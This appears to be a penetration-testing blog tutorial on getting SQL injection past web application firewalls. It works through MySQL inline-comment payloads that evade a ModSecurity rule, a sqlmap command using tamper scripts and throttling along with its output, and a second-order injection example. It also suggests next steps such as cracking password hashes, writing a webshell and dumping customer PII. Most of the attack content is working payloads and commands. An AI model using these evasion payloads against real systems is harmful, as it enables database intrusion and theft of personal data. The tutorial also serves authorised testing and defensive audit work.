In 2025, the MOVEit-style exploitation wave reminded us that SQL injection never really died — it just got harder to trigger. Modern WAFs block the obvious payloads, so attackers adapted. If your pentest methodology still starts with ' OR 1=1-- and stops when the WAF fires, you’re leaving critical findings on the table.
Why Classic Payloads Fail Against Modern WAFs
WAFs like ModSecurity with the OWASP Core Rule Set (CRS) score each request. Hit enough suspicious patterns — UNION SELECT, --, information_schema — and your request gets blocked with a 403. The WAF isn’t smart; it’s pattern-matching. That’s the gap you exploit.
The trick is breaking the pattern without breaking the SQL. Three reliable techniques: case variation, inline comments, and encoding. MySQL treats /*!50000UNION*/ as valid syntax. A WAF treating it as a comment? It passes right through.
Consider this blocked payload on shop.acme-demo.local:
GET /products?id=1 UNION SELECT username,password FROM users--
HTTP/1.1 403 Forbidden
X-Blocked-By: ModSecurity CRS 942100
Rule 942100 matched on the raw UNION SELECT string. Now try the same query with MySQL version-specific inline comments to fragment the keyword:
GET /products?id=1+/*!UNION*/+/*!SELECT*/+username,password+FROM+users-- -
HTTP/1.1 200 OK
admin | $2y$10$eImiTXuWVxfM37uY4JANjQ...
The WAF saw no matching signature. MySQL executed it perfectly. You now have a bcrypt hash for admin — your next move is offline cracking with hashcat -m 3200, or pivoting to test whether the DB user has FILE privilege for a webshell write.
SQLMap With WAF Evasion: Real Workflow
SQLMap is the standard automated SQLi scanner — it tests injection points and dumps data. Out of the box it trips WAFs. With the right flags, it becomes significantly stealthier.
Target: https://192.0.2.47/search?q=laptops — a retail app running behind an AWS WAF. A baseline scan gets blocked instantly. Here’s the adjusted command using tamper scripts and throttling:
sqlmap -u "https://192.0.2.47/search?q=laptops" \
--tamper=space2comment,between,randomcase \
--delay=2 --random-agent \
--level=5 --risk=2 \
--dbms=mysql -p q \
--batch
[*] starting @ 09:14:32
[INFO] testing connection to the target URL
[INFO] heuristic (basic) test shows parameter 'q' might be injectable
[INFO] testing 'MySQL >= 5.0 AND error-based'
[PAYLOAD] q=laptops%20AND%20(SELECT%202%20FROM(SELECT%20COUNT(*)
,CONCAT(0x71706a7171,(SELECT%20(ELT(2=2,1))),0x71716b7171,
FLOOR(RAND(0)*2))x%20FROM%20information_schema.plugins
GROUP%20BY%20x)a)
[INFO] GET parameter 'q' is 'MySQL >= 5.0 AND error-based' injectable
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] retail_prod
[*] retail_logs
Break down what just happened. space2comment replaces every space with /**/, fragmenting WAF keyword detection. randomcase turns SELECT into something like SeLeCt. between replaces > operators to dodge comparison-based rules. The --delay=2 prevents rate-limit triggers.
The error-based payload abused MySQL’s FLOOR(RAND()*2) duplicate-entry error to leak data through the error message — no UNION required. You confirmed two production databases. Next logical step: --dump -D retail_prod -T customers to enumerate PII, or check @@secure_file_priv to assess outbound file write paths.
Second-Order Injection: The Bypass WAFs Never Catch
Second-order injection is stored input that executes later — during a different request, in a different context. WAFs inspect input at entry. They have zero visibility into what the database does with that stored value when another function retrieves and uses it unsanitized.
A registration form on portal.acme-demo.local properly parameterizes the INSERT. But the profile-update function pulls the username back out and concatenates it into a raw query:
-- Registration (safe, parameterized):
INSERT INTO users (username, email) VALUES (?, ?)
-- Input stored: admin'--
-- Profile update (vulnerable, dynamic SQL):
SELECT * FROM users WHERE username = 'admin'--'
-- Executed as: SELECT * FROM users WHERE username = 'admin'
-- Returns admin's row to the attacker's session
The WAF never flagged the registration because parameterized input looks clean. The injection fires two requests later, completely out of WAF context. Defenders: audit every location where stored user data is read back and re-used in queries. That’s where second-order lives.
What To Do Now
Pull up one of your web application targets — staging environment, bug bounty scope, your own lab — and run SQLMap against a search or filter parameter using --tamper=space2comment,randomcase with --level=3. Compare the results against an unmodified scan. The delta between what the plain scan finds and what the tampered scan finds is exactly the attack surface your WAF is hiding from you, not actually blocking.
